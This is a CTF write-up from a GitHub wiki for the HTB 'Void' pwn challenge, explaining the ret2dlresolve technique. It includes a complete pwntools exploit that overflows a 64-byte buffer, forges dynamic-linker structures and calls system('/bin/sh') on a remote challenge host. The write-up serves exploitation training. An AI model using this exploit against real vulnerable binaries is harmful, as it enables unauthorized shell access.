HTB Void writeup - Pez1181/CTF GitHub Wiki
π ret2dlresolve Exploit β HTB "Void" Challenge Writeup
π Challenge Summary
This challenge presents a 64-bit dynamically linked ELF binary with the following properties:
- No stack canary
- NX enabled
- No PIE
- No useful PLT entries (
puts
,system
, andwrite
are missing!) - A custom
libc.so.6
andld-linux-x86-64.so.2
are provided - The binary contains a
vuln()
function that overflows viaread()
into a 64-byte stack buffer
The binary simply reads 200 bytes from stdin and exits. No output, no print, no hint. So... how do we pop a shell? π€
ret2dlresolve
?
π§ Why Normally in a ret2libc
exploit, we leak a libc function (e.g., puts@GOT
), compute the libc base, and call system("/bin/sh")
. But here:
puts
doesn't exist in the binary.write
doesn't exist either.- And
system()
isn't available until resolved from libc.
We're stuck.
But... the binary is dynamically linked, and we have libc and ld.so provided. That means we can abuse the dynamic linker itself using a technique called:
π ret2dlresolve β "Return-to-Dynamic-Linker-Resolve"
This technique lets us forge ELF data structures in memory and convince the dynamic linker to resolve any function we want, like system()
, even if it isn't present in the binary.
π How to Find This Technique
ret2dlresolve
is documented and implemented in:
- β Pwntools documentation
- β
pwnlib.rop.dlresolve.Ret2dlresolvePayload
ret2dlresolve
in Pwntools)
π₯ Full Exploit (Using This code uses Ret2dlresolvePayload
to build fake ELF structures in .bss
, triggers a call to read()
to load them, and finally jumps to the dynamic resolver to call system("/bin/sh")
.
from pwn import *
# Load binaries
void = ELF('./void')
libc = ELF('glibc/libc.so.6')
ld = ELF('glibc/ld-linux-x86-64.so.2')
# Context for architecture
context.binary = void.path
# Offsets and remote host
OFFSET = 72
HOST = '94.237.52.107'
PORT = 56671
# Start remote connection
# For local testing: replace with process('./void')
p = remote(HOST, PORT)
# Prepare ret2dlresolve payload
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
# Stage 1: Read forged ELF structs into memory
rop.read(0, dlresolve.data_addr)
# Stack alignment (for glibc 2.29+)
rop.raw(rop.ret[0])
# Stage 2: Trigger dynamic resolver with fake relocation
rop.ret2dlresolve(dlresolve)
# Build final payload
raw_rop = rop.chain()
# Send first stage ROP chain
p.sendline(b'A' * OFFSET + raw_rop)
# Send forged relocation structures
p.sendline(dlresolve.payload)
# Interact with the shell
p.interactive()
β Why This Works
Ret2dlresolvePayload
constructs fake.rel.plt
,.symtab
, and string table entries in memory.- The ROP chain calls
read()
to place them in.bss
- We then call the dynamic linker stub with the address of our fake relocation
- The linker resolves
system()
from libc - We pass
/bin/sh
as the argument β π shell
π§· When to Use This
Use ret2dlresolve
when:
- You're dealing with a dynamically linked ELF
- The binary lacks useful PLT entries like
system
,puts
,write
- You have access to the
libc.so.6
or know its version - NX is enabled (no shellcode injection)
- You have control over input and can write a ROP chain
π§° Requirements
Install pwntools and ruby (for one_gadget
, if needed):
pip install pwntools
gem install one_gadget
π§ Final Notes
This is a powerful and underused technique. Itβs especially useful in modern CTF challenges where binaries are minimal and dynamically linked. Learn it once β use it forever.
πΆοΈ Mission complete. You can now return from the Void. π«‘